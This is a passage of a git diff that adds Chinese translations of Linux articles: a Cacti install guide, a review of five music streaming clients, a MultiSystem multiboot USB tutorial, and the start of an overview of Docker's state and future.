文件。 + +可以自定义轮询归档(RRA)设置,用户可以在存储数据时使用非标准的时间间隔(标准时间间隔是5分钟,30分钟,2小时和 1天)。 + +#### 数据收集 #### + +Cacti 包含一个 "data input" 机制,可以让用户定义自定义的脚本用来收集数据。每个脚本可以包含调用参数,每次调用此脚本的创建数据源时必须输入相应的调用参数(如 IP 地址)。 + +支持 SNMP 功能,可以使用 php-snmp,ucd-snmp 或者 net-snmp。 + +可以基于索引来使用 SNMP 或者脚本收集数据。例如,可以列出一个服务器上所有网卡接口或者已挂载分区的索引列表。其集成的绘图模版可以用来为主机一键创建图形。 + +提供了一个基于 PHP 的轮询器执行脚本,可以收集 SNMP数据并更新数据至 RRD 文件中。 + +#### 模版 #### + +绘图模版可以将相同图形分组到为一类。图形中的每一个条目都可以使用模版的默认值或者自定义。 + +数据源模版可以通过将相同数据源类型分组为一类。数据源中每一个条目都可以使用模版的默认值或者自定义。 + +主机模版是一组图形和数据源模版,可以用来定义某一类型的主机。创建主机时,它会自动使用相应模版的属性。 + +#### 图形展示 #### + +图形树模式允许用户创建「图形层次结构」并将图形放至树中。这种方法可以方便的管理大量图形。 + +列表模式将所有图形的链接在一个大列表中展示出来,链接指向用户创建的图形。 + +预览模式将所有图形在一个大列表中展示出来。这有点类似于 RRDTool/MRTG 的默认视图。 + +#### 用户管理 #### + +用户管理功能允许管理员创建用户并分配给用户访问 Cacti 接口的不同级别的权限。 + +权限可以为每个用户指定其对每个图形的权限,这适用于主机租用的场景。 + +每个用户可以保存他自己的图形显示模式。 + +### 安装 ### + +#### 系统准备 #### + +在安装 cacti 之前,确保你已经安装了 [Ubuntu 14.10 LAMP server][1]。 + +#### 在 Ubuntu 14.10 Server 上安装 Cacti #### + +打开终端,运行下面的命令 + + sudo apt-get install cacti-spine + +上面的命令开始 Cacti 的安装,你会看到下图中 PHP 路径的更改,选择 ok 按回车 + +![](http://www.ubuntugeek.com/wp-content/uploads/2014/01/18.png) + +选择你想使用的 Web 服务器 (我使用的是 apache2) + +![](http://www.ubuntugeek.com/wp-content/uploads/2014/01/27.png) + +Cacti 数据库配置,选 yes + +![](http://www.ubuntugeek.com/wp-content/uploads/2014/01/35.png) + +输入数据库管理员账户密码 + +![](http://www.ubuntugeek.com/wp-content/uploads/2014/01/42.png) + +输入 Cacti 访问数据库的密码 + +![](http://www.ubuntugeek.com/wp-content/uploads/2014/01/5.png) + +确认密码 + +![](http://www.ubuntugeek.com/wp-content/uploads/2014/01/6.png) + +现在 Cacti 已经安装了,我们可以开始配置它了。 + +#### Cacti 配置 #### + +在浏览器中访问 http://你的服务器IP/cacti/install/ 来进行初始化设置,点击 next 下一步 + +![](http://www.ubuntugeek.com/wp-content/uploads/2014/01/7.png) + +选择 New install,点击 next 下一步 + +![](http://www.ubuntugeek.com/wp-content/uploads/2014/01/8.png) + +下一个界面中,你需要确保所有的路径都是正确的,点击 finish 完成 + +![](http://www.ubuntugeek.com/wp-content/uploads/2014/01/9.png) + +现在以 admin/admin 登录 Cacti,修改管理员的默认密码 + +![](http://www.ubuntugeek.com/wp-content/uploads/2014/01/10.png) + +![](http://www.ubuntugeek.com/wp-content/uploads/2014/01/111.png) + +登录 Cacti 之后你会看到类似于下面这样的界面 + +![](http://www.ubuntugeek.com/wp-content/uploads/2014/11/14.png) + +-------------------------------------------------------------------------------- + +via: http://www.ubuntugeek.com/how-to-install-cacti-monitoring-tool-on-ubuntu-14-10-server.html + +作者:[ruchi][a] +译者:[Liao](https://github.com/liaoishere) +校对:[wxy](https://github.com/wxy) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创翻译,[Linux中国](http://linux.cn/) 荣誉推出 + +[a]:http://www.ubuntugeek.com/author/ubuntufix +[1]:http://www.ubuntugeek.com/www.ubuntugeek.com/step-by-step-ubuntu-14-10-utopic-unicorn-lamp-server-setup.html diff --git a/published/201501/20141127 Five Magnificent Linux Music Streaming Clients.md b/published/201501/20141127 Five Magnificent Linux Music Streaming Clients.md new file mode 100644 index 0000000000..81409399fc --- /dev/null +++ b/published/201501/20141127 Five Magnificent Linux Music Streaming Clients.md @@ -0,0 +1,194 @@ +Linux 下五款出色的流媒体客户端 +================================================================================ +数字流媒体这几天几乎占据了我音乐收听的全部时间。近年来我为了收藏 CD 花费了数量可观的费用;但它们中的大部分现在正静静地躺在满是灰尘的角落里。基本上所有的音乐流媒体服务所提供的的音质都不如 CD 的,但它们受欢迎的原因很大程度上在于其便捷性,而非高度保真的音质再现。音乐流媒体不仅造成了 CD 销量的大幅减少;也使数字音乐的下载开始缓慢下滑。这种趋势还会继续下去。音乐发烧友现在或许也想要拥抱音乐流媒体服务了,某些音乐流媒体服务商如 Tidal 提供了无损的音乐流媒体服务,其中包含了 25 万首比特率为 1411kbps 的 FLAC 格式的音乐。 + +尽管 CD 暂时不会消失,但音乐流媒体服务商却无法调和那些不满从音乐托管服务中收取的租金的唱片公司及音乐家之间的问题。这一切仍然处于变化之中;我们看到了今年 Led Zeppelin, Pink Floyd, Metallica 签名支持流媒体服务,但仍然有部分知名的老牌乐队如 Beatles, Radiohead 以及 AC/DC 拒绝将自己的作品放到流媒体上供粉丝收听。即使当某个唱片公司或者音乐家已经授权给流媒体服务商访问自己的作品,但只要音乐家发表声明就可以在第一时间将其作品从流媒体服务下架。本月(2014 年 11 月),Taylor Swift 请求将她的所有音乐作品从 Spotify 的流媒体服务下架。有些人还是更偏向于“拥有”他们的音乐,但这看起来像是一种快要过时了的欣赏音乐的方式。 + +使用 Linux 平台来收听流媒体音乐服务的方法已经逐渐成熟。在 Linux 平台下,你可以找到许多客户端,通过它们你可以使用大部分的音乐流媒体服务;我希望 TIDAL 能在今后合适的时候发行 Linux 桌面客户端,而不是仅仅依赖 web 播放器。本文精选的这些应用都是非常出色的。另外 Amarok,pianobar 还有 Tomahawk 也表现得很不错。 + +### Spotify + +![Spotify 播放界面](http://www.linuxlinks.com/portal/content/reviews/Audio/Screenshot-Spotify-Streaming.png) + +Spotify 是一种专有的 P2P 音乐流媒体服务,允许用户收听点播曲目或专辑。Spotify 将自己描述为“音乐圣殿。快捷、简易、免费的服务”。Spotify 分别为普通的移动端和桌面端用户提供了 96kbps 和 160kbps 比特率的流媒体服务,并且为高级用户提供了 Ogg Vorbis 格式的 320kbps 比特率的流媒体服务。Spotify 为普通用户提供了免费但是有广告的服务,以及无广告的订阅账户服务。 + +Spotify 是很奇妙的服务,向用户们提供了涵盖各种类型的数量众多的音乐,如:流行乐、另类摇滚、古典乐、铁克诺电音、摇滚乐等。这是发现新音乐的好方法。Spotify 得到了包括 Sony BMG,EMI,Universal 以及 Warner Music 在内的主流唱片公司,以及 Labrador Records,The Orchard,Alligator Records,Merlin,CD Baby,INgrooves 等独立唱片唱片公司和分销网络,甚至 Chandos,Naxos,EMI Classic,Warner Classics,Denon Essentials 这些古典唱片公司的支持,还有更多的公司在这里就不一一列举了。 + +Spotify 的音乐涵盖范围还在继续以惊人的步伐扩张着。 + +Spotify 现在并没有发行官方版的 Linux 客户端。不过,开发团队已经推出了针对 Linux 的客户端预览版,并且表现得还不错。因为仍然是预览版,所以没有得到官方的支持。 + +Spotify 流媒体服务现已支持以下地区/国家:安道尔,阿根廷,澳大利亚,奥地利,比利时,保加利亚,哥伦比亚,塞浦路斯,丹麦,爱沙尼亚,芬兰,法国,德国,希腊,香港,冰岛,爱尔兰,意大利,拉脱维亚,列支敦士登,立陶宛,卢森堡,马来西亚,马耳他,墨西哥,摩纳哥,荷兰,新西兰,挪威,菲律宾,波兰,葡萄牙,西班牙,新加坡,瑞典,瑞士,台湾,土耳其,英国,美国,乌拉圭等。 + +**特色包括:** + +- 精心设计的界面,导航时非常方便 +- 创建和编辑播放列表 +- 发现新的音乐 +- 共享音乐及播放列表 +- 电台功能 +- 最受欢迎的的列表 +- 额外功能及种类繁多的应用 + +- 网址:[www.spotify.com/uk/download/previews][1] +- 开发者:Spotify +- 许可证:专有许可证 +- 当前版本:预览版 + + +### Pithos + +![Pithos 播放界面](http://www.linuxlinks.com/portal/content/reviews/Audio/Screenshot-Pithos-streaming.png) + +Pithons 是一款开源的的本地 Pandora 电台 Linux 客户端。它提供了一个轻量级的界面以替代 Pandora.com 的 web 客户端。其图形用户界面上集成了多媒体快捷键、通知中心以及声音菜单。 + +Pandora 音乐服务只能通过美国的 IP 地址使用。不过,非美国用户可以通过 VPN 连接来使用 Pandora。 + +**特色包括:** + +- 播放/暂停/下一首 +- 切换电台 +- 记住用户名和密码 +- 给喜欢的音乐和艺术家添加书签 +- 获取封面 +- 喜欢/讨厌/不再播放这首音乐 +- 在通知中心中弹出歌曲信息 +- 跳转到 pandora.com 歌曲信息页面/电台页面 +- 超时后重连 pandora +- QuickMix 编辑 +- 创建电台 +- 多媒体按键 +- 代理连接 +- Last.fm 歌曲记录 +- 音量控制 +- 屏保暂停等插件 +- DBUS 接口:MPRIS 和 Pithos + +- 网址:[pithos.github.io][2] +- 开发者:Kevin Mehall +- 许可证:GNU GPL v3 +- 当前版本:1.0.0 + + +### Clementine + +![Clementine 播放界面](http://www.linuxlinks.com/portal/content/reviews/Audio/Screenshot-Clementine-Streaming.png) + +Clementine 基于 Amarok 开发,是一款跨平台的轻量级现代化音乐播放器和媒体库管理工具。Clementine 致力于打造快捷简易的界面,使你可以轻松搜索和播放音乐。 + +Clementine 在 Amarok 1.4 的基础上开发。 + +**特色包括:** + +- 检索、播放本地音乐库 +- 从 Last.fm 和 SomaFM 收听互联网电台 +- 标签式播放列表,支持导入导出 M3U,XSPF,PLS 及 ASX 格式的播放列表 +- 创建智能播放列表和动态播放列表 +- 载入 M3U 和 XSPF 播放列表 +- 对播放列表的撤销和重做 +- 编辑 MP3 和 OGG 文件的信息,管理媒体库 +- 从 Last.fm 下载缺失的专辑封面 +- 集成 gpodder.net 播客 +- 图形化均衡器 +- 支持 Windows,Mac OS X 及 Linux +- 支持 Linux(libnotify)及 Mac OS X(Growl)本地桌面通知中心 +- 从 MusicBrainz 获取缺失的信息 +- 炫彩屏幕显示 +- 队列管理 +- 支持 Linux 下的 MPRIS,以及命令行远程控制 +- 支持索引和播放 Google Drive 中的音乐 +- 支持 Soundcloud +- 支持 jazzradio.com +- 支持 Moodbar +- 基于 projectM 的可视化技术 +- 拷贝音乐至 iPod,iPhone,MTP 或者 大容量 USB 设备 +- 远程控制 +- 转码音乐至 MP3,Ogg Vorbis,Ogg Speex,FLAC 以及 AAC + +- 网址:[www.clementine-player.org][3] +- 开发者:David Sansome,John Maguire +- 许可证:GNU GPL v3 +- 当前版本:1.2 + + +### Nuvola Player + +![Nuvola Player 播放界面](http://www.linuxlinks.com/portal/content/reviews/Utilities/Screenshot-NuvolaPlayer-Streaming.png) + +Nuvola Player 是一个免费的开源项目,能够整合云端音乐到你的桌面中(支持托盘图标、Ubuntu 声音菜单、dock 菜单以及通知中心)。 + +为了使用全部的流媒体服务,你需要安装 Flash 和 HTML5 的音频支持。某些基于 Web 的流媒体服务可以使用 HTML5 的音频技术播放音乐,而非使用 Flash 插件。Nuvola Player 需要 GStreamr 和 MP3 解码器插件来提供 HTML5 音频支持。 + +**支持的流媒体服务:** + +- 集成了 MP3 商店的亚马逊云播放器,允许用户在亚马逊云端驱动器中存储他们的音乐,并且在任何支持的浏览器上播放音乐 +- Bandcamp,是一家在线音乐商店,也是艺人宣传平台,主要适于独立艺术家 +- Deezer,一家法国的基于 Web 的音乐流媒体服务商。Deezer 允许用户在多台设备上在线或者离线播放音乐,现在拥有 1800 万的曲目,超过 30000 的电台以及 2200 万的用户(150 万订阅用户) +- 8tracks,是一家融合了互联网电台和社交元素的网站,坚持至少 8 个曲目的为用户量身定制的流媒体播放列表 +- Google Play,谷歌运营的一家数字服务商店,其经营项目包括音乐、电影、书籍,以及 Android 应用和游戏,其云端播放器支持播放用户自己上传的音乐和在 Google Play 里购买的音乐 +- Grooveshark,提供了国际化在线音乐搜索引擎、音乐流媒体服务以及音乐推荐服务,允许用户进行搜索、使用流媒体以及上传音乐,并且能把这些音乐进行立即播放或者添加到一个播放列表中 +- Grooveshark Mobile,基于 HTML5 的 Grooveshark 移动版,不需要 Flash 插件的支持 +- Hype Machine,Pandora Radio 和 Pitchfork Media 的融合产物。它从音乐博客上精选了最近发布的歌曲(约 1500 首),并在网站主页上列出了这些歌曲的信息 +- Jango,一款免费的在线音乐流媒体服务,允许用户创建和分享自己创建的电台 +- Logitech Media Server,是 Logitech Squeezebox devices 的开源流媒体服务。支持许多插件以及如 Deezer 和 Spotify 等其他流媒体服务 +- Pandora,智能化音乐推荐服务以及音乐基因组计划“托管人”,服务仅针对美国地区 +- Rdio,有广告的音乐订阅服务 +- Spotify,商业化流媒体服务,提供来自唱片公司的被严格限制的数字版权内容 +- This is My Jam,你可以存放某一刻你非常喜欢的音乐,并且每天都可以收听由朋友们精挑细选的音乐 + +**特色包括:** + +- 多媒体快捷键 +- 显示桌面通知 +- 集成了众多声音菜单、小程序以及启动器,甚至更多 +- Last FM 以及 Libre FM 歌曲记录 +- 获取歌词 +- 支持 Amazon Music Prime streaming + +- 网址:[tiliado.eu/nuvolaplayer][4] +- 开发者:Jiří Janoušek and service maintainers +- 许可证:2-Clause BSD license +- 当前版本:2.4.3 + + +### Atraci + +![Atraci 播放界面](http://www.linuxlinks.com/portal/content/reviews/Utilities/Screenshot-Atraci.png) + +Atraci 是一款多平台的开源流媒体应用,允许用户收听超过 6000 万首音乐。Atraci 仍然处于基础开发阶段,所以很多功能暂时还未完善。 + +Atraci 使用 iTunes,Last.fm 以及 SoundCLoud 显示歌曲信息 —— 专辑封面、歌曲名称以及艺术家。Atraci 在 YouTube 上搜索最匹配这首音乐信息的视频,并使用其中质量最高的。 + +**特色包括:** + +- 无广告、无需注册 +- 直观的用户界面 +- 智能匹配搜索任何音乐、艺术家或者专辑。Atraci 会在线校对其信息,以显示正确的歌曲名称、专辑封面以及音轨等等,同时列出最高质量的视频流媒体 +- 自动修正所属专辑与艺术家 +- 通过默认方式、艺术家姓名或者曲目名称对结果排序 +- 以网格或列表模式查询结果 +- 检索视频可以全屏模式观看 +- 以随机或重复模式创建播放列表 +- 应用程序内的音量调整滑块、音轨调节以及专辑封面 +- 播放历史 + +- 网址:[atraci.github.io/Atraci-website][5] +- 开发者:The Atraci Team +- 许可证:The MIT License +- 当前版本:0.7.0 + +-------------------------------------------------------------------------------- + +via: http://www.linuxlinks.com/article/20141116052055674/MusicStreaming.html + +作者:Frazer Kline +译者:[Stevearzh](https://github.com/Stevearzh) +校对:[wxy](https://github.com/wxy) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创翻译,[Linux中国](http://linux.cn/) 荣誉推出 + +[1]:https://www.spotify.com/uk/download/previews/ +[2]:http://pithos.github.io/ +[3]:https://www.clementine-player.org/ +[4]:https://tiliado.eu/nuvolaplayer/ +[5]:http://atraci.github.io/Atraci-website/ \ No newline at end of file diff --git a/published/201501/20141127 How To Create A Multiboot USB From Ubuntu Using MultiSystem.md b/published/201501/20141127 How To Create A Multiboot USB From Ubuntu Using MultiSystem.md new file mode 100644 index 0000000000..fb228ad6be --- /dev/null +++ b/published/201501/20141127 How To Create A Multiboot USB From Ubuntu Using MultiSystem.md @@ -0,0 +1,104 @@ +如何在Ubuntu上使用MultiSystem创建多启动USB盘 +================================================================================ + +### 介绍 ### + +也许还有不少人不知道**MultiSystem**,它是一个用来在Linux系统中创建多启动usb盘的小型的开源软件。使用这个工具,我们可以在USB中创建任意多的可启动Linux发行版。你所需要的只是网络链接(只在MultiSystem安装的时候需要),以及一个足够大的USB盘,这取决于你想在USB盘中放入发行版的数量。 + +### 在 Ubuntu 14.10/14.04 安装MultiSystem ### + +#### 手动安装: #### + +[下载 MultiSystem][1]脚本,并解压到任意地方。进入解压的地址,使用下面的命令运行脚本。 + + sudo ./install-depot-multisystem.sh + +#### 使用 PPA 安装: #### + +当然,你也可以用下面的命令来更简单地使用PPA来安装MultiSystem。 + + sudo apt-add-repository 'deb http://liveusb.info/multisystem/depot all main' + wget -q -O - http://liveusb.info/multisystem/depot/multisystem.asc | sudo apt-key add - + sudo apt-get update + sudo apt-get install multisystem + +安装完之后,它会自动打开MultiSystem。只要点击关闭按钮退出。 + +### 安装之后 ### + +MultiSystem 安装完成后,可以插入你的USB,并通过Unity Dash或者菜单运行MultiSystem。 + +![](http://180016988.r.cdn77.net/wp-content/uploads/2014/11/Menu_0012.png) + +第一次启动时,MultiSystem界面看起来会像下面这样。 + +![](http://180016988.r.cdn77.net/wp-content/uploads/2014/11/MultiSystem_002.png) + +选择USB设备,点击**确认**按钮。如果你看到下面的错误窗口,不必担心,它说的是USB设备没有标签。点击OK让MultiSystem自动设置标签。 + +![](http://180016988.r.cdn77.net/wp-content/uploads/2014/11/Error_003.png) + +那么,拔出/重新插入USB,再次运行MultiSystem。选择USB盘,再次点击确认。现在,你被要求确认在USB中安装Grub2.点击OK继续。 + +![](http://180016988.r.cdn77.net/wp-content/uploads/2014/11/gtkdialog_004.png) + +最终,你会高兴地看到MultiSystem的界面。现在,时候创建多启动USB盘。 + +![](http://180016988.r.cdn77.net/wp-content/uploads/2014/11/MultiSystem_005.png) + +### 使用 ### + +MultiSystem非常容易使用。将ISO文件拖入MultiSystem窗口中。如果不行的话,点击底部的**cd 按钮**来选择ISO文件。 + +![](http://180016988.r.cdn77.net/wp-content/uploads/2014/11/MultiSystem_006.png) + +现在,MultiSystem会从ISO中拷贝文件,并让USB可启动。 + +![](http://180016988.r.cdn77.net/wp-content/uploads/2014/11/MultiSystem_007.png) + +相似地,你可以在你的USB中加入任意多的发行版。我这次加入了两个Linux发行版:CentOS 6.5和Android。 + +加完ISO文件后,你会在MultiSystem的主窗口中看到可启动的发行版列表了。 + +![](http://180016988.r.cdn77.net/wp-content/uploads/2014/11/MultiSystem_008.png) + +就是这样。我们的多启动USB盘就可以使用了。重启系统,并在BIOS中设置USB优先启动。选择你想要安装的发行版并开始安装系统。 + +![](http://180016988.r.cdn77.net/wp-content/uploads/2014/11/QEMU_009.png) + +此外,MultiSystem含有一些其它的选项: + +- Grub 设置 +- Grub 和 Burg 的bootloader更新 +- 下载 LiveCD +- VirtualBox 安装 +- 格式化USB盘 +- 还有更多选项 + +这些额外选项可以在MultiSystem的**菜单**标签里面看到。 + +![](http://180016988.r.cdn77.net/wp-content/uploads/2014/11/MultiSystem_010.png) + +同样,你也可以在Ubuntu中使用QEMU或者Oracle VirtualBox测试多启动USB盘。 + +![](http://180016988.r.cdn77.net/wp-content/uploads/2014/11/MultiSystem_011.png) + +MultiSystem工具是我测试到现在最棒和最有用的一款工具。这款工具对那些想要在他们的机器上安装多个系统的人是非常有用的。在你外出的时候,你不必再携带CD/DVD袋了。只要买一个16GB或者32GB的USB就行,并下载所有你想要的系统,随心所欲的安装系统即可。 + +并且,一个对于Windows系统用户的好消息是它也支持Windows系统。我在Windows 7上测试过,它可以工作! + +享受吧! + +-------------------------------------------------------------------------------- + +via: http://www.unixmen.com/create-multiboot-usb-ubuntu-using-multisystem/ + +作者:[SK][a] +译者:[geekpi](https://github.com/geekpi) +校对:[wxy](https://github.com/wxy) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创翻译,[Linux中国](http://linux.cn/) 荣誉推出 + +[a]:http://www.unixmen.com/author/sk/ +[1]:http://liveusb.info/multisystem/install-depot-multisystem.sh.tar.bz2 +[2]:http://liveusb.info/dotclear/ \ No newline at end of file diff --git a/published/201501/20141203 Docker--Present and Future.md b/published/201501/20141203 Docker--Present and Future.md new file mode 100644 index 0000000000..bdec540363 --- /dev/null +++ b/published/201501/20141203 Docker--Present and Future.md @@ -0,0 +1,158 @@ +Docker 的现状与未来 +================================================================================ + +### Docker - 迄今为止发生的那些事情 ### + +Docker 是一个专为 Linux 容器而设计的工具集,用于‘构建、交付和运行’分布式应用。它最初是 DotCloud 的一个开源项目,于2013年3月发布。这个项目越来越受欢迎,以至于 DotCloud 公司都更名为 Docker 公司(并最终[出售了原有的 PaaS 业务][1])。[Docker 1.0][2]是在2014年6月发布的,而且延续了之前每月更新一个版本的传统。 + +Docker 1.0版本的发布标志着 Docker 公司认为该平台已经充分成熟,足以用于生产环境中(由该公司与合作伙伴提供付费支持选择)。每个月发布的更新表明该项目正在迅速发展,比如增添一些新特性、解决一些他们发现的问题。该项目已经成功地分离了‘运行’和‘交付’两件事,所以来自任何版本的 Docker 镜像源都可以与其它版本共同使用(具备向前和向后兼容的特性),这为 Docker 应对快速变化提供了稳定的保障。 + +Docker 之所以能够成为最受欢迎的开源项目之一可能会被很多人看做是炒作,但是也是由其坚实的基础所决定的。Docker 的影响力已经得到整个行业许多大企业的支持,包括亚马逊, Canonical 公司, CenturyLink, 谷歌, IBM, 微软, New Relic, Pivotal, 红帽和 VMware。这使得只要有 Linux 的地方,Docker 就可以无处不在。除了这些鼎鼎有名的大公司以外,许多初创公司也在围绕着 Docker 发展,或者改变他们的发展方向来与 Docker 更好地结合起来。这些合作伙伴们(无论大或小)都将帮助推动 Docker 核心项目及其周边生态环境的快速发展。 + +### Docker 技术简要综述 ### + +Docker 利用 Linux 的一些内核机制例如 [cGroups][3]、命名空间和 [SElinux][4] 来实现容器之间的隔离。起初 Docker 只是 [LXC][5] 容器管理器子系统的前端,但是在 0.9 版本中引入了 [libcontainer][6],这是一个原生的 go 语言库,提供了用户空间和内核之间的接口。 + +容器是基于 [AUFS][7] 这样的联合文件系统的,它允许跨多个容器共享组件,如操作系统镜像和已安装的相关库。这种文件系统的分层方法也被 [Dockerfile][8] 的 DevOps 工具所利用,这些工具能够缓存成功完成的操作。这就省下了安装操作系统和相关应用程序依赖包的时间,极大地加速测试周期。另外,在容器之间的共享库也能够减少内存的占用。 + +一个容器是从一个镜像开始运行的,它可以来自本地创建,本地缓存,或者从一个注册库(registry)下载。Docker 公司运营的 [Docker Hub 公有注册库][9],为各种操作系统、中间件和数据库提供了官方仓库存储。各个组织和个人都可以在 docker Hub 上发布的镜像的公有库,也可以注册成私有仓库。由于上传的镜像可以包含几乎任何内容,所以 Docker 提供了一种自动构建工具(以往称为“可信构建”),镜像可以从一种称之为 Dockerfile 的镜像内容清单构建而成。 + +### 容器 vs. 虚拟机 ### + +容器会比虚拟机更高效,因为它们能够分享一个内核和分享应用程序库。相比虚拟机系统,这也将使得 Docker 使用的内存更小,即便虚拟机利用了内存超量使用的技术。部署容器时共享底层的镜像层也可以减少存储占用。IBM 的 Boden Russel 已经做了一些[基准测试][10]来说明两者之间的不同。 + +相比虚拟机系统,容器具有较低系统开销的优势,所以在容器中,应用程序的运行效率将会等效于在同样的应用程序在虚拟机中运行,甚至效果更佳。IBM 的一个研究团队已经发表了一本名为[虚拟机与 Linux 容器的性能比较]的文章[11]。 + +容器只是在隔离特性上要比虚拟机逊色。虚拟机可以利用如 Intel 的 VT-d 和 VT-x 技术的 ring-1 [硬件隔离][12]技术。这种隔离可以防止虚拟机突破和彼此交互。而容器至今还没有任何形式的硬件隔离,这使它容易受到攻击。一个称为 [Shocker][13] 的概念攻击验证表明,在 Docker 1.0 之前的版本是存在这种脆弱性的。尽管 Docker 1.0 修复了许多由 Shocker 漏洞带来的较为严重的问题,Docker 的 CTO Solomon Hykes 仍然[说][14],“当我们可以放心宣称 Docker 的开箱即用是安全的,即便是不可信的 uid0 程序(超级用户权限程序),我们将会很明确地告诉大家。”Hykes 的声明承认,其漏洞及相关的风险依旧存在,所以在容器成为受信任的工具之前将有更多的工作要做。 + +对于许多用户案例而言,在容器和虚拟机之间二者选择其一是种错误的二分法。Docker 同样可以在虚拟机中工作的很好,这让它可以用在现有的虚拟基础措施、私有云或者公有云中。同样也可以在容器里跑虚拟机,这也类似于谷歌在其云平台的使用方式。像 IaaS 服务这样普遍可用的基础设施,能够即时提供所需的虚拟机,可以预期容器与虚拟机一起使用的情景将会在数年后出现。容器管理和虚拟机技术也有可能被集成到一起提供一个两全其美的方案;这样,一个硬件信任锚微虚拟化所支撑的 libcontainer 容器,可与前端 Docker 工具链和生态系统整合,而使用提供更好隔离性的不同后端。微虚拟化(例如 Bromium 的 [vSentry][15] 和 VMware 的 [Project Fargo][16])已经用于在桌面环境中以提供基于硬件的应用程序隔离,所以类似的方法也可以用于 libcontainer,作为 Linux内核中的容器机制的替代技术。 + +### ‘容器化’ 的应用程序 ### + +几乎所有 Linux 应用程序都可以在 Docker 容器中运行,并没有编程语言或框架的限制。唯一的实际限制是以操作系统的角度来允许容器做什么。即使如此,也可以在特权模式下运行容器,从而大大减少了限制(与之对应的是容器中的应用程序的风险增加,可能导致损坏主机操作系统)。 + +容器都是从镜像开始运行的,而镜像也可以从运行中的容器获取。本质上说,有两种方法可以将应用程序放到容器中,分别是手动构建和 Dockerfile。 + +#### 手动构建 #### + +手动构建从启动一个基础的操作系统镜像开始,然后在交互式终端中用你所选的 Linux 提供的包管理器安装应用程序及其依赖项。Zef Hemel 在‘[使用 Linux 容器来支持便携式应用程序部署][17]’的文章中讲述了他部署的过程。一旦应用程序被安装之后,容器就可以被推送至注册库(例如Docker Hub)或者导出为一个tar文件。 + +#### Dockerfile #### + +Dockerfile 是一个用于构建 Docker 容器的脚本化系统。每一个 Dockerfile 定义了开始的基础镜像,以及一系列在容器中运行的命令或者一些被添加到容器中的文件。Dockerfile 也可以指定对外的端口和当前工作目录,以及容器启动时默认执行的命令。用 Dockerfile 构建的容器可以像手工构建的镜像一样推送或导出。Dockerfile 也可以用于 Docker Hub 的自动构建系统,即在 Docker 公司的控制下从头构建,并且该镜像的源代码是任何需要使用它的人可见的。 + +#### 单进程? #### + +无论镜像是手动构建还是通过 Dockerfile 构建,有一个要考虑的关键因素是当容器启动时仅启动一个进程。对于一个单一用途的容器,例如运行一个应用服务器,运行一个单一的进程不是一个问题(有些关于容器应该只有一个单独的进程的争议)。对于一些容器需要启动多个进程的情况,必须先启动 [supervisor][18] 进程,才能生成其它内部所需的进程。由于容器内没有初始化系统,所以任何依赖于 systemd、upstart 或类似初始化系统的东西不修改是无法工作的。 + +### 容器和微服务 ### + +全面介绍使用微服务结构体系的原理和好处已经超出了这篇文章的范畴(在 [InfoQ eMag: Microservices][19] 有全面阐述)。然而容器是绑定和部署微服务实例的捷径。 + +大规模微服务部署的多数案例都是部署在虚拟机上,容器只是用于较小规模的部署上。容器具有共享操作系统和公用库的的内存和硬盘存储的能力,这也意味着它可以非常有效的并行部署多个版本的服务。 + +### 连接容器 ### + +一些小的应用程序适合放在单独的容器中,但在许多案例中应用程序需要分布在多个容器中。Docker 的成功包括催生了一连串新的应用程序组合工具、编制工具及平台作为服务(PaaS)的实现。在这些努力的背后,是希望简化从一组相互连接的容器来创建应用的过程。很多工具也在扩展、容错、性能管理以及对已部署资产进行版本控制方面提供了帮助。 + +#### 连通性 #### + +Docker 的网络功能是相当原始的。在同一主机,容器内的服务可以互相访问,而且 Docker 也可以通过端口映射到主机操作系统,使服务可以通过网络访问。官方支持的提供连接能力的库叫做 [libchan][20],这是一个提供给 Go 语言的网络服务库,类似于[channels][21]。在 libchan 找到进入应用的方法之前,第三方应用仍然有很大空间可提供配套的网络服务。例如,[Flocker][22] 已经采取了基于代理的方法使服务实现跨主机(以及底层存储)的移植。 + +#### 合成 #### + +Docker 本身拥有把容器连接在一起的机制,与元数据相关的依赖项可以被传递到相依赖的容器中,并用于环境变量和主机入口。如 [Fig][23] 和 [geard][24] 这样的应用合成工具可以在单一文件中展示出这种依赖关系图,这样多个容器就可以汇聚成一个连贯的系统。CenturyLink 公司的 [Panamax][25] 合成工具类似 Fig 和 geard 的底层实现方法,但新增了一些基于 web 的用户接口,并直接与 GitHub 相结合,以便于应用程序分享。 + +#### 编制 #### + +像 [Decking][26]、New Relic 公司的 [Centurion][27] 和谷歌公司的 [Kubernetes][28] 这样的编制系统都是旨在协助容器的部署和管理其生命周期系统。也有许多 [Apache Mesos][30] (特别是 [Marathon(马拉松式)持续运行很久的框架])的案例(例如[Mesosphere][29])已经被用于配合 Docker 一起使用。通过为应用程序与底层基础架构之间(例如传递 CPU 核数和内存的需求)提供一个抽象的模型,编制工具提供了两者的解耦,简化了应用程序开发和数据中心操作。有很多各种各样的编制系统,因为许多来自内部系统的以前开发的用于大规模容器部署的工具浮现出来了;如 Kubernetes 是基于谷歌的 [Omega][32] 系统的,[Omega][32] 是用于管理遍布谷歌云环境中容器的系统。 + +虽然从某种程度上来说合成工具和编制工具的功能存在重叠,但这也是它们之间互补的一种方式。例如 Fig 可以被用于描述容器间如何实现功能交互,而 Kubernetes pods(容器组)可用于提供监控和扩展。 + +#### 平台(即服务)#### + +有一些 Docker 原生的 PaaS 服务实现,例如 [Deis][33] 和 [Flynn][34] 已经显现出 Linux 容器在开发上的的灵活性(而不是那些“自以为是”的给出一套语言和框架)。其它平台,例如 CloudFoundry、OpenShift 和 Apcera Continuum 都已经采取将 Docker 基础功能融入其现有的系统的技术路线,这样基于 Docker 镜像(或者基于 Dockerfile)的应用程序也可以与之前用支持的语言和框架的开发的应用一同部署和管理。 + +### 所有的云 ### + +由于 Docker 能够运行在任何正常更新内核的 Linux 虚拟机中,它几乎可以用在所有提供 IaaS 服务的云上。大多数的主流云厂商已经宣布提供对 Docker 及其生态系统的支持。 + +亚马逊已经把 Docker 引入它们的 Elastic Beanstalk 系统(这是在底层 IaaS 上的一个编制系统)。谷歌使 Docker 成为了“可管理的 VM”,它提供了GAE PaaS 和GCE IaaS 之间的中转站。微软和 IBM 也都已经宣布了基于 Kubernetes 的服务,这样可以在它们的云上部署和管理多容器应用程序。 + +为了给现有种类繁多的后端提供可用的一致接口,Docker 团队已经引进 [libswarm][35], 它可以集成于众多的云和资源管理系统。Libswarm 